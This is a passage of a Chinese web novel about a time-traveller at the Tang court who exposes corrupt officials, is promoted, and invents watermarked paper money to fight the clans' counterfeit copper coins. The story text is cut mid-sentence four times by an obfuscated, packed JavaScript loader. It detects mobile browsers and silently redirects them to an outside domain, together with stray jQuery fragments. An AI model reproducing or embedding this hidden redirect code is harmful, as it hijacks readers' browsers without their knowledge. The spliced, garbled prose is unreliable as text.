工部尚书段纶也紧跟着出列,手里还捏着一把算盘。
“陛下!林少监改革薪酬,工匠们干劲十足,如今少府监的产出,比以往翻了三倍不止!这是实打实的功绩!某些人眼睛是瞎了吗?”
“哼!武夫之见!”
一个世家出身的官员立刻反唇相讥。
“李尚书,段尚书,你们只知打仗盖房,可知何为‘文治’?何为‘教化’?林浩此举,是以利诱人,长此以往,人心不古,国将不国!”
“你……”
李靖气得额头青筋暴起,却被噎得说不出话来。
跟这帮读书人掰扯道德文章,他确实不在行。
一时间,整个朝堂,文臣攻讦,武将怒目,吵成了一锅粥。
而风暴中心的林浩,却始终一言不发。
他只是静静地站在那里,看着这群人表演,那眼神,像是在看一群上蹿下跳的猴子。
直到所有声音渐渐平息,所有目光都汇聚到他身上。
林浩这才慢条斯理地整理了一下官袍,缓步走到大殿中央。
他没有看那些**他的官员,而是先对孔颖达行了一礼。
“孔祭酒,晚辈请教一个问题。”
他的声音很平静,却清晰地传遍了整个大殿。
孔颖达冷哼,摆出一副“你且说来”的倨傲姿态。
“敢问孔祭酒,何为仁政?”
孔颖达一愣,随即抚须傲然道:“存天理,灭人欲,以德教化万民,此为仁政!”
“说得好。”
林浩点点头,话锋陡然一转,声音变得锐利无比。
“那我再问孔祭酒!若非我用你口中所谓的‘阴狠之术’,那三十万贯国库血汗,是不是就要被蛀虫们啃食干净?!”
“将士们在边关浴血厮杀,他们的粮草军械却被人中饱私囊,这是不是你说的‘仁政’?!”
“百姓们辛勤劳作,缴纳的赋税却养肥了一群酒囊饭袋,让他们去买什么南海珊瑚、西域美玉,这是不是你说的‘仁政’?!”
“你……”
孔颖达一张老脸瞬间涨红。
林浩根本不给他喘息的机会,往前踏出一步,气势逼人。
“孔祭酒,你告诉我!是让将士们饿着肚子、拿着钝刀去边关送死叫仁政,还是把喂饱蛀虫的三十万贯拿回来,为他们披上新甲、换上利刃叫仁政?!”
“你读了一辈子圣贤书,难道就读出个满口仁义道德,却对百姓死活、国家存亡视而不见的道理吗?!”
这一连串的质问,句句如刀,刀刀见血!
孔颖达被问得哑口无言,嘴唇哆嗦着,一个字也说不出来。
林浩不再看他,转身从墨顿手中接过一卷巨大的麻纸。
“哗啦——”
麻纸展开,上面是用炭笔绘制的一张触目惊心的网络图。
无数的线条从“少府监”这个中心点延伸出去,连接着一个个商号,而这些商号的背后,又指向了长安城中一个个显赫的府邸。
“陛下,诸位大人。”
林浩的声音变得冰冷,“**我,可以。但有些人,恐怕没这个资格。”
他拿起一根细长的木杆,指向那张图,也指向了御史队列中的一个人。
“王御史,你**我结党营私。可你府上书房里摆着的那尊南海珊瑚树,不正是‘四海商行’上个月孝敬的?巧了,这四海商行,就在我这份贪腐名单上!”
王御史的脸,“唰”的一下就白了。
林浩的木杆又移向另一人。
“李给事中,你**我滥用职权。可你小妾上个月戴的那套头面,是金玉满堂的老师傅亲手打造的吧?价值三百贯,分文未取。而这金玉满堂,每年从少府监的损耗里,拿走了多少好处?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391671|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>那李给事中双腿一软,几乎站立不住。
林浩的目光扫过那些**他的官员,每点到一个名字,就说出一件他们贪腐的实证。
有的是一件器物,有的是一笔银钱,有的甚至是一次宴请。
桩桩件件,时间、地点、人物、证物,说得清清楚楚,明明白白!
被点到名的人,一个个面如死灰。
有的人当场就瘫软在地,裤裆里传来一阵骚臭。
整个太极殿,从刚才的嘈杂,瞬间变得落针可闻。
所有人都被林浩这手骚操作给震懵了。
这哪是自辩?
这他妈是当着满朝文武和皇帝的面,挨个点名,现场扒皮啊!
“诸位,你们以为这只是简单的贪腐吗?”
林浩的声音陡然拔高,回荡在金殿之上,“错!这些世家豪门,通过掌控少府监的采购,把持着我大唐军械的命脉!
他们用劣质的木料充当好料,用普通的铁料替代精钢!
这不仅仅是在赚钱,这是在要我大唐边关数十万将士的命!”
“这是在挖我大唐的根基!动摇我大唐的国本!”
林浩猛地收起图纸,转身面向龙椅,振臂高呼。
“今日,我林浩就把话撂在这儿!”
“是选择放任这些蛀虫,继续掏空大唐,让我们引以为傲的军队,变成一群拿着破铜烂铁的叫花子!”
“还是选择用雷霆手段,刮骨疗毒,斩除毒瘤,还我大唐一个朗朗乾坤!”
“请陛下决断!请诸位同僚决断!”
一番话说完,整个大殿鸦雀无声。
龙椅上,李世民一直冷眼旁观。
此刻,看到那些世家官员的丑态,看到林浩这番石破天惊的反击,他那张素来威严的脸上,嘴角微不可察地勾了一下。
就在这时,一个让所有人都没想到的身影,从文臣队列中走了出来。
“魏征,有本奏。”
是魏征!
那个以犯颜直谏闻名的魏征!
他走到殿中,先是对着林浩点了点头,随即转身,怒视着那些瘫软在地的官员。
“陛下!国之蛀虫,盘踞于内,若不严惩,国法何在!天理何在!”
“林少监所用之法,或有不合常规之处,但非常之时,当用非常之法!其心,是为了大唐!其行,是为了江山社稷!”
“臣以为,林少监非但无过,反而有功!当赏!而这些尸位素餐、监守自盗的**,当斩!”
“轰!”
魏征的话,彻底引爆了朝堂。
风向,瞬间逆转!
原本**林浩的声浪,顷刻间变成了对贪腐世家和官员的声讨!
孔颖达站在那里,气得浑身发抖,一张老脸憋成了酱紫色。
他苦心经营的道德高地,被林浩几句话,一张图,就给掀了个底朝天。
他想反驳,却发现自己说的每一个字,在血淋淋的事实面前,都显得那么苍白,那么可笑。
第104章:皇帝亲自下场,太子彻底凉凉!
龙椅上的李世民,缓缓站起身来。
整个太极殿,顿时鸦雀无声。
所有人都屏住呼吸,等着这位千古一帝的最终决断。
李世民的目光,从那些瘫软在地的贪官污吏身上扫过,又落在了太子李承乾惨白的脸上。
“朕,很失望。”
李世民踱步而下,龙袍猎猎作响,“朕以为,朕给了你们最好的俸禄,最高的地位,你们就会为大唐鞠躬尽瘁。结果呢?你们把朕的信任,当成了发财的本钱!”
“你们把少府监当成了什么?当成了你们的私人金库吗?边关将士浴血奋战,你们在后方中饱私囊!这就是你们读了一肚子圣贤书的结果?”
孔颖达想要辩解,刚张开嘴,就被皇帝一个眼神给瞪了回去。
“朕的决定很简单。”
李世民站在大殿中央,声音传遍每个角落,“从即日起,罢免所有牵涉此案的官员,永不叙用!查抄家产,充实国库!主犯交由大理寺严审,秋后问斩!”
“轰!”
整个朝堂都炸了。
被点名的官员们,有的当场晕厥,有的嚎啕大哭,还有的直接吓得大小便失禁。
但这还没完。
李世民的目光,转向了太子李承乾。
“承乾!”
太子浑身一个激灵,扑通一声跪倒在地。
“父皇!儿臣知错了!”
“知错?”李世民冷笑,“你知道什么错?你是知道用人不察的错,还是知道纵容贪腐的错?还是知道与世家勾结,损害国家利益的错?”
“朕之前的惩罚,显然太轻了。”
李世民背手而立,声音冰冷,“从即日起,削去太子李承乾监国之权,不得参与朝政!东宫所有人员,全部重新审查!未经朕的允许,任何人不得与太子私下接触!”
这话一出,李承乾如五雷轰顶。
监国之权被削,这意味着什么?
意味着他这个太子,已经名存实亡了!
“父皇,儿臣......”
“住口!”李世民厉声喝道,“朕不想再听你的任何解释!退下!”
**的官员们,一个个面如死灰。
他们知道,这一次,是真的完了。
而就在此时,李世民的目光,落在了林浩身上。
“林浩。”
皇帝的声音,突然变得温和起来。
“臣在。”林浩上前一步。
“朕问你,你觉得这场风波,对大唐意味着什么?”
林浩略作沉思,朗声道:“启奏陛下,意味着大唐的新生!意味着那些蛀虫被清除,国家机器将重新焕发活力!”
“说得好!”李世民点头赞许,“格物致知,清浊扬正,你林浩,才是大唐真正的栋梁!”
听到这话,满朝文武都倒吸了一口凉气。
皇帝这是要大力提拔林浩啊!
果然,李世民接下来的话,让所有人都瞠目结舌。
“朕决定,册封林浩为少府监卿,正三品!管理大唐所有皇家制造机构!”
“另外,赐林浩便宜行事之权,涉及少府监及相关事务,可先斩后奏!”
这特权,简直逆天了!
要知道,能够先斩后奏的,整个大唐也就那么几个人!
“臣,谢陛下隆恩!”林浩深深一拜。
李世民走到林浩身边,拍了拍他的肩膀。
“林浩所为,非为一己之私,乃为国家兴旺,为天下苍生!朕要让天下人都知道,这样的人,才是朕重用的人!”
孔颖达听到这话,气得眼前一黑。
“哇——”
老头子一口鲜血喷出,直挺挺地倒了下去。
“孔祭酒!孔祭酒!”
几个门生手忙脚乱地上前扶起他,七手八脚地往外抬。
看着孔颖达被抬走的狼狈模样,林浩心中没有丝毫愧疚。
道不同不相为谋,既然要做绊脚石,那就别怪自己不客气。
朝会结束后,兵部尚书李靖和工部尚书段纶,第一时间找到了林浩。
“林卿,恭喜恭喜!”李靖拱手道贺,脸上满是笑意。
“从今往后,我兵部与你少府监,可要好好配合啊!”
段纶也笑着点头:“林卿年少有为,老夫佩服!以后有什么需要工部配合的,尽管开口!”
两位尚书的态度,比之前热情了不知道多少倍。
这就是权力的魅力。
昨天你还是个四品小官,今天就是能跟他们平起平坐的大佬。
“两位大人客气了。”林浩谦逊地回礼,“国事为重,林某定当全力以赴。”
就在这时,魏征走了过来。
这位以犯颜直谏闻名的老臣,脸色有些复杂。
“林卿,老夫有句话想单独跟你说。”
林浩点点头,跟着魏征走到一旁。
“林卿,你的手腕,老夫佩服。”魏征压低声音,“但是,你要小心。”
“魏大人指的是?”
“**虽然倒了,但树倒猢狲散,难保没有漏网之鱼。”
林浩心中一凛,拱手道谢:“多谢魏大人提醒。”
“另外......”魏征又补充了一句,“陛下今天给了你这么大的权力,也是把你推到了风口浪尖。功高震主这四个字,你要时刻记在心里。”
说完,魏征拍了拍林浩的肩膀,转身离去。
林浩站在原地,心中思绪万千。
今天的胜利,确实来得有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391672|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些太容易了。
李世民这么痛快地处置**,真的只是因为愤怒吗?
还是说,皇帝早就想找个机会,重新洗牌?
而自己,只不过是恰好撞到了枪口上的那个工具人?
......
与此同时,长安城内,各大世家府邸。
消息传回来的那一刻,所有人都慌了。
“快!把所有账本都烧了!”
“那些见不得人的东西,统统销毁!”
“还有,赶紧准备银钱,主动上交!”
崔氏、卢氏、郑氏......一个个显赫的门第,此刻都在忙着自救。
他们很清楚,林浩现在权势滔天,再加上皇帝的支持,谁也惹不起。
与其等着被查抄,不如主动认罪,争取宽大处理。
短短半天时间,就有十几家世家主动上门,送来了“赃款赃物”。
金银珠宝,奇珍异宝,堆满了少府监的库房。
墨顿拿着账册,兴奋得脸都红了。
“老师!您看这个数!”
林浩接过账册,看到上面的数字,也忍不住倒吸一口凉气。
四十万贯!
比预期的三十万贯,还多了十万!
这些世家,平时哭穷装可怜,关键时刻一个比一个有钱。
“老师,咱们发财了!”墨顿激动得手舞足蹈。
“发什么财。”林浩敲了敲他的脑袋,“这些都是国库的钱,一文都不能动。”
“我知道,我知道。”墨顿嘿嘿笑着,“但是有了这些钱,咱们的改革就有底气了!”
林浩点点头。
四十万贯,足够支撑他进行一系列的改革。
新的采购制度,新的分配机制,新的激励政策......
一切都可以大刀阔斧地推进了。
......
夜色降临,少府监内灯火通明。
林浩独自坐在新的少府监卿官房里,看着窗外的明月。
今天这一战,可以说是完胜。
不仅扳倒了**,还给自己争取到了前所未有的地位和权力。
但他知道,这只是**长征的第一步。
大唐要真正强盛起来,需要的不仅仅是清除贪腐,更需要全方位的改革和创新。
科技、军事、民生、经济......
每一个领域,都有太多的事情要做。
林浩站起身,走到窗前。
既然来到了这个时代,既然有了这个机会,那就要干出一番前所未有的事业!
让大唐成为真正的天朝上国,让华夏文明在这片土地上绽放出最璀璨的光芒!
想到这里,林浩嘴角勾起一抹笑意。
有意思的事情,才刚刚开始呢。
第105章:糊弄我?那就别用铜钱了
少府监库房内,林浩看着眼前堆积如山的“赃款”,眉头越皱越深。
墨顿兴奋地抱着一袋铜钱跑过来:“老师,您看这些钱,成色多好!”
林浩接过一枚铜钱,放在手心仔细端详。铜钱表面泛着青绿色的锈迹,重量明显偏轻,边缘还有细微的砂眼。
“墨顿,你觉得这枚钱怎么样?”
“挺好的啊,铜色发亮,字迹清晰。”墨顿不明所以。
林浩冷笑一声,用指甲轻轻一刮,铜钱表面竟然掉下一层薄薄的铜屑。
“这哪里是什么好钱,分明是铅钱外面镀了层铜皮!”
墨顿瞪大眼睛,赶紧抓起其他铜钱检查。越查越心惊,十枚里竟然有三枚都是这种劣质货。
“老师,这些世家也太黑心了吧!连上交的赃款都敢掺假!”
林浩摇摇头:“问题比你想的严重多了。”
他让墨顿把所有铜钱按成色分类,结果更加触目惊心。四十万贯的账面价值,实际价值恐怕连二十万贯都不到。
“传张铁山过来。”林浩沉声道。
不一会儿,张铁山匆匆赶到。这位少府监的老工匠,专门负责铸钱工艺。
“张师傅,我问你,现在大唐的铸钱情况如何?”
张铁山苦着脸:“林大人,别提了。铜料越来越难搞,朝廷分配给咱们的铜锭,一年比一年少。现在一个月能铸出三万贯就不错了。”
“市面上流通的铜钱质量呢?”
“唉!”张铁山长叹一声,“十枚里有三枚是私铸的劣币,老百姓拿着这些钱去买东西,商家都不愿意收。很多地方又开始以物易物了。”
林浩心中一沉。货币是国家经济的血液,如果连基本的货币信用都保证不了,整个经济体系就会崩塌。
“这些私铸的劣币,都是从哪里来的?”
张铁山左右看看,压低声音:“大人,小的不敢乱说,但是……这些劣币的铸造工艺,明显出自专业作坊。而且用料统一,模具精良,绝不是小打小闹。”
“你的意思是?”
“有人在大规模私铸货币!而且这个人,手里肯定有铜矿!”
林浩眼中闪过一道寒光。大唐的铜矿,基本都被几大世家控制。他们一边垄断铜料供应,让朝廷铸钱困难;一边私铸劣币投入市场,赚取巨额差价。
这哪里是简单的贪腐,分明是在**整个国家的经济命脉!
“张师傅,你先下去吧。这件事,暂时不要对任何人提起。”
张铁山连忙点头退下。
墨顿看着林浩阴沉的脸色,小心翼翼地问:“老师,咱们接下来怎么办?”
还没等林浩回答,门外传来脚步声。一名内侍快步走进库房。
“林大人,陛下有口谕。”
林浩整理衣冠,恭敬地跪下:“臣接旨。”
“陛下问,这四十万贯赃款,打算如何使用?陛下的意思是,边关军备紧张,不如全部投入军械制造。另外,陛下对林大人的忠心很是满意,特赏黄金百两,绸缎十匹。”
内侍说完,等着林浩的回复。
按理说,皇帝都开口了,林浩应该立刻表态照办。但他却沉默了片刻。
“请公公回禀陛下,这笔钱暂时不能动。臣还需要查清一些事情。另外,臣想请陛下恩准,让臣查阅户部关于全国铜矿产量和铸币的所有卷宗。”
内侍愣了一下。皇帝赏赐,你不要?皇帝的建议,你不听?反而要查什么铜矿卷宗?
“林大人,您确定要这样回复陛下?”
“确定。”林浩语气坚定。
内侍摇摇头,转身离去。
墨顿急了:“老师,您这样会不会惹陛下不高兴?”
“惹不高兴也得查。”林浩站起身,“墨顿,你知道什么叫釜底抽薪吗?”
“知道啊,就是把锅底下的柴火抽掉。”
“没错。世家控制货币,就是在抽大唐的柴火。如果不解决这个问题,就算我们造出再多的神兵利器,也救不了这个国家。”
夜深了,少府监官房内依然灯火通明。
林浩在巨大的沙盘前踱步,但这次他推演的不是战争,而是整个长安城的物资流向。
盐从哪里来?世家控制的盐场。
铁从哪里来?世家控制的铁矿。
铜从哪里来?还是世家控制的铜矿。
粮食呢?世家控制的商路和粮仓。
林浩用红色的小旗标记出所有关键节点,发现一个可怕的事实:整个大唐的经济命脉,都被几大世家牢牢掌控。
“老师,您说咱们要动世家的钱袋子,这比扳倒一个太子难百倍啊。”墨顿忧心忡忡。
林浩没有回答,而是拿起毛笔,在纸上写下两个字:信用。
“墨顿,你觉得钱是什么?”
“钱就是钱啊,铜做的,能买东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391673|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。”
“错了。”林浩摇头,“钱的本质不是铜,而是信用。人们之所以愿意用铜钱交易,是因为相信它有价值,相信别人也会接受它。”
墨顿挠挠头:“老师,您说的太深奥了,我听不懂。”
林浩笑了:“听不懂没关系,你只需要知道一点:既然没有足够的铜来铸钱,那我们就创造一种比铜钱更方便、更可靠的‘钱’。”
“啊?”墨顿瞪大眼睛,“老师,您不会是想用木头铸钱吧?那谁会要啊?”
“不是木头。”林浩神秘一笑,“去库房,把最好的纸张和墨水拿来。另外,叫几个最精巧的雕版工匠过来。”
墨顿更糊涂了:“老师,您要用纸做钱?那不是废纸一张吗?”
“废纸?”林浩眼中闪烁着智慧的光芒,“墨顿,你知道什么叫降维打击吗?”
“不知道。”
“很快你就知道了。”
半个时辰后,几名雕版工匠战战兢兢地来到官房。他们不明白,大半夜的,这位新上任的少府监卿要他们做什么。
林浩拿出一张精美的宣纸,在上面画了一个复杂的图案。龙纹、凤纹、云纹交织在一起,中间还有特殊的防伪标记。
“我要你们雕刻一种特殊的版子,能印出这样的图案。记住,工艺要求极高,必须做到无法仿制。”
工匠们面面相觑。这图案确实精美,但是……
“大人,您这是要印什么?”
林浩淡淡一笑:“印钱。”
“啊?”所有人都惊呆了。
用纸印钱?这不是疯了吗?
墨顿更是急得跳脚:“老师,您别开玩笑了!纸怎么能当钱用?就算印得再好看,也没人会要啊!”
林浩看着众人震惊的表情,心中暗笑。
在这个时代的人看来,他的想法确实匪夷所思。但他知道,这张“纸钱”一旦问世,将彻底改变整个世界的游戏规则。
世家控制铜矿又如何?
私铸劣币又如何?
等他的“纸钱”横空出世,所有的铜钱都将成为历史。
而掌控这种新“货币”发行权的人,将成为真正的经济之王。
“都愣着干什么?”林浩催促道,“赶紧开工!记住,这件事绝对保密,谁敢泄露半个字,全家抄斩!”
工匠们哆哆嗦嗦地开始干活,心中都在想:这位林大人,该不会是疯了吧?
第106章:这张纸,我能让世家跪地喊爸爸
少府监深处的密室内,昏黄的烛火摇曳不定。
林浩站在一张巨大的工作台前,面前摆着各种奇形怪状的工具和材料。
墨顿、张铁山以及几位少府监最顶尖的工匠围成一圈,个个面色凝重。
“老师,您真的要用纸做钱?”墨顿还是有些不敢相信。
林浩没有直接回答,而是拿起一张普通的宣纸,在烛火下晃了晃。
“你们看,这张纸有什么特别的地方吗?”
众人摇头。
“那如果是这样呢?”
林浩从袖中掏出另一张纸,同样在烛火下一照。奇迹出现了——纸张中央浮现出一个清晰的龙纹图案,栩栩如生。
“这......这是什么妖法?”一名老工匠惊得后退几步。
张铁山瞪大眼睛:“林大人,这纸里怎么会有图案?”
林浩笑而不语,将纸张递给墨顿。墨顿接过来左看右看,离开烛火后,龙纹又消失得无影无踪。
“师父,这到底是怎么做到的?”
“这叫水印技术。”林浩开始解释,“制纸的时候,在特定位置用特殊手法让纸张厚薄不均,迎光就能看见图案。这种技术,全天下只有我会。”
众人面面相觑,对林浩的敬畏又上升了一个层次。
“但是光有水印还不够。”林浩继续说道,“我们要做的这种凭证,必须具备几个核心要素。”
他在纸上画出一个复杂的图案设计。
“第一,复杂的团花图案。不是普通的花纹,而是用几十种不同的线条组合而成,没有专用模具绝对仿制不出来。”
“第二,微缩文字。在团花的边缘,要刻上只有放大镜才能看清的小字,记录发行日期、编号等信息。”
“第三,就是刚才你们看到的水印。每张纸都要有皇家科学院的专属徽记,迎光才能显现。”
“第四,也是最重要的一点——每张凭证都要有独一无二的编号,从一号开始,按顺序编排,绝不重复。”
听完林浩的要求,几位工匠的脸色都变了。
“林大人,这......这根本做不到啊!”一名雕版工匠苦着脸说,“光是那个团花图案,就得雕上十天半个月。微缩文字更是闻所未闻,我们的刻刀根本刻不了那么小的字。”
“至于水印......”张铁山摇头叹气,“大人,您刚才展示的那张纸是怎么做出来的?小的实在想不出办法。”
林浩早就预料到会有这种反应。他卷起袖子,亲自动手。
“看好了,我只演示一遍。”
他先是调配了一种特殊的浆液,里面加入了明矾、石膏粉等材料。然后用一根细如发丝的铜丝,在制纸模具上勾勒出龙纹的轮廓。
“关键在于控制纸浆的厚度。龙纹部分要薄一些,其他地方要厚一些。这样光线透过时,就会形成明暗对比。”
说着,他开始制纸。整个过程行云流水,每个步骤都精准无比。
半个时辰后,一张带有水印的纸张新鲜出炉。
林浩将纸张举到烛火前,清晰的皇家科学院徽记瞬间浮现。
“神迹!这绝对是神迹!”
几位工匠跪倒在地,对林浩五体投地。
墨顿也看呆了:“老师,您这手艺,简直比神仙还厉害。”
“起来吧,这不是什么神迹,只是科学。”林浩淡淡说道,“现在你们知道该怎么做了吧?”
众人连连点头,开始按照林浩的方法制作样品。
经过一夜的奋战,第一批样品终于完成。
林浩拿起其中一张,满意地点点头。这张“纸钱”长约一尺,宽约半尺,正中央是复杂的团花图案,四角各有一个“壹贯”的字样。边缘处密密麻麻地印着微缩文字,记录着发行机构、日期等信息。最神奇的是,迎光而视,皇家科学院的徽记若隐若现。
“这种新钱,我给它起个名字——大唐宝钞。”林浩郑重地说道,“分为三种面额:一贯、十贯、百贯。”
墨顿好奇地问:“老师,这宝钞真的能当钱用吗?谁会相信一张纸值一贯铜钱?”
林浩笑了:“好问题。宝钞的价值确实不在纸本身,而在于信用。”
他指着样品继续解释:“每一张宝钞,都可以在少府监设立的兑换所,随时换取等额的铜钱、白银,甚至是盐引、铁引。”
“换句话说,拿着这张纸,你可以到兑换所换取一贯铜钱。如果兑换所敢不给,那就是欺君之罪。”
墨顿恍然大悟:“我明白了!宝钞的价值,来自于少府监,来自于朝廷的信用!”
“没错。”林浩点头,“而且宝钞还有铜钱没有的优势。你想想,一千文铜钱得多重?用麻袋装都嫌沉。但一张宝钞,放在袖子里就行。”
“大宗交易更方便。以前买一匹马要带几十斤铜钱,现在一张百贯宝钞就搞定。”
张铁山听得连连称赞:“妙啊!这样一来,商人们肯定抢着要宝钞。”
林浩脸上露出意味深长的笑容:“不只是商人。等宝钞普及开来,那些控制铜矿的世家,手里的铜还有什么用?”
“他们私铸再多的劣币,也比不过我们一张纸。”
“到那时,货币发行权就彻底回到朝廷手中了。”
众人这才明白林浩计划的深远。这哪里是简单的造钱,分明是要从根本上改变整个大唐的经济格局!
“好了,样品已经做出来了。”林浩收起宝钞,“接下来,该让陛下看看这个宝贝了。”
他连夜写了一份详细的奏疏,将宝钞的原理、优势、以及对付世家的战略意义,全部阐述得清清楚楚。
第二天一早,林浩通过内侍,将宝钞样品和奏疏一并送入宫中。
甘露殿内,李世民独
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391674|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自一人展开奏疏。
刚开始,他还觉得林浩是在痴人说梦。用纸做钱?这不是胡闹吗?
但越往下看,李世民的表情越凝重。
当看到“世家利用私铸劣币,五年内从国库掏走至少百万贯”这句话时,他猛地站了起来。
当看到“宝钞可彻底断绝世家经济命脉,将货币发行权收归国有”时,他的眼中闪过一道精光。
当看到“此法一出,大唐财政将获得前所未有的自**”时,他激动得浑身颤抖。
“好!好!好!”
李世民连说三个好字,拿起宝钞样品仔细端详。
精美的团花图案,神奇的水印技术,还有那些微缩文字......每一个细节都在告诉他,这绝不是能够轻易仿制的东西。
但很快,理智又占了上风。
李世民深知此事风险巨大。一旦失败,朝廷信用破产,天下必将大乱。
他沉思良久,决定召集最核心的心腹商议。
不到一个时辰,房玄龄、杜如晦,还有长孙无忌,三人秘密进入甘露殿。
长孙无忌因为凉州玄甲军**一案本已下狱,但李世民念及他是自己的妻舅,亦是开国元勋,才干谋略也是当世罕有人能及,终究不忍其老死狱中。
如今朝局动荡,李世民思虑再三,最终还是将他从天牢中提了出来,命其戴罪立功。
“诸位爱卿,你们看看这个。”李世民将宝钞递给房玄龄。
房玄龄接过一看,顿时愣住了:“陛下,这是......纸钱?”
“不错。林浩说,这张纸可以当一贯铜钱使用。”
杜如晦闻言大惊:“陛下,这怎么可能?谁会相信一张纸值一贯钱?”
长孙无忌也摇头:“陛下,臣以为此事过于荒谬。纸就是纸,钱就是钱,岂能混为一谈?”
李世民将奏疏递给三人:“你们先看看林浩的计划再说。”
三人传阅奏疏,脸色逐渐凝重。
房玄龄率先开口:“陛下,林浩的分析确有道理。世家控制铜矿,私铸劣币,确实在掏空国库。但是......”
“但是什么?”
“但是如何保证百姓相信这张纸?”房玄龄指着宝钞说,“一旦有人拿着宝钞去兑换,而朝廷拿不出足够的铜钱,那朝廷的信用就彻底完了。”
杜如晦也点头:“房相说得对。这个计划理论上可行,但风险太大。万一失败,后果不堪设想。”
长孙无忌更是直接反对:“陛下,臣以为,此乃妖术!以纸代钱,前所未有,有违圣人古训!林浩竖子,不思正道,专搞此等奇技淫巧,恐非为国,实为乱政!一旦推行,世家必将群起而攻,朝局动荡,后果不堪设想!请陛下三思,万万不可被此子蛊惑!”
面对三位重臣的质疑,李世民陷入了沉思。
“来人,宣林浩!”
第107章:三句话,我让三大宰相集体闭嘴
甘露殿内,空气里弥漫着一股沉香和御墨混合的独特气息。
林浩踏入殿门的那一刻,脚步几不可察地顿了一下。
殿内只有四个人。
龙椅之上,是深不可测的李世民。
下手处,坐着三位跺跺脚就能让大唐朝堂震三震的顶级大佬。
左相房玄龄,右相杜如晦。
以及……一个本该在大理寺天牢里啃窝头的人——长孙无忌。
他穿着一身赭色的罪臣袍服,神情憔悴,但腰杆却挺得笔直,赫然与房、杜二人并列,参与着这场大唐最高级别的核心会议。
林浩心里“咯噔”一下。
好家伙,李二这是唱的哪一出?
把长孙无忌这个最顽固的保守派领袖从牢里捞出来,跟房谋杜断摆在一起,这是要给自己来一场三堂会审?
皇帝的心腹,终究是心腹。
即便犯了错,也只是暂时蛰伏,随时可能被重新启用。
无数念头在林浩脑中一闪而过,他面上却已恢复平静,上前一步,躬身行礼。
“臣,少府监卿林浩,参见陛下。”
“免礼。”李世民抬了抬下巴,声音听不出喜怒,“林卿,你的奏疏,朕与三位爱卿都看过了。今日召你前来,就是想听你再亲口分说一番。把你那所谓的大唐宝钞,讲给他们听听。”
“是,陛下。”
林浩应声,从随身携带的木盒中,取出了那张制作精美的宝钞样品。
他没有急着开口,而是先将宝钞呈递给内侍,由内侍转交给三位宰相。
“三位大人请看。”
房玄龄第一个接过,入手的第一感觉,纸张的质感便与众不同,坚韧又有弹性。
他对着殿内透进的光线仔细端详,发出一声轻咦。
“这纸中……竟藏有图案?”
纸张正中,一个“唐”字的轮廓若隐若现,不透光时完全看不出。
“房相所见的,乃是水印。”林浩的声音清晰地响起,“此技术乃臣独创,造纸之时便将图案压入纸浆,一体成型,外人极难仿制。”
杜如晦也凑了过来,他的注意力被宝钞上繁复到令人眼花缭乱的团花所吸引。
“这些团花,笔画细密,盘根错节,就算是宫里最顶尖的画工,怕也难以临摹分毫。”
“杜相好眼力。”林浩接着解释,“这叫防伪团花,看似杂乱,实则暗含规律。除此之外,请二位相爷细看这花纹的边缘。”
两人依言将宝钞凑到眼前,下一刻,齐齐倒吸一口凉气。
在那细如发丝的线条边缘,竟还刻着一行比米粒还小的文字——“大唐宝钞,伪造必究”。
字迹虽小,却笔画分明,铁画银钩。
这等鬼斧神工的雕版工艺,简直闻所未闻!
就在房、杜二人为这神乎其技的工艺感到震惊时,一声暴喝猛地炸响!
“奇技淫巧!哗众取宠!”
长孙无忌霍然起身,将那张宝钞重重拍在案几上,发出一声闷响。
他转向李世民,一拜到底,声音悲愤交加:“陛下!臣还是要说,此乃妖术!以纸代钱,违背了自古以来以金银铜铁为币的圣人之训!此例一开,天下大乱,国将不国!”
说完,他又猛地转身,将茅头对准了林浩:“林浩!你一个黄口竖子,不好好为国效力,专营此等惑乱人心之物,究竟是何居心?一张纸,凭什么能当一贯钱用?若是推行此物,百姓不认,商人不收,朝廷信誉一夜之间便会毁于一旦!届时物价飞涨,人心惶惶,这动摇国本的滔天大罪,你担待得起吗?!”
